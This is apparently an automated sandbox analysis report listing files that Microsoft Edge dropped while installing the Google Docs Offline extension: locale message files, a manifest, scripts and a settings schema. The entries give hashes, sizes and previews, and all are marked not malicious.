SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\e65089c8-c66c-47fb-93b3-1772e912b3b5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
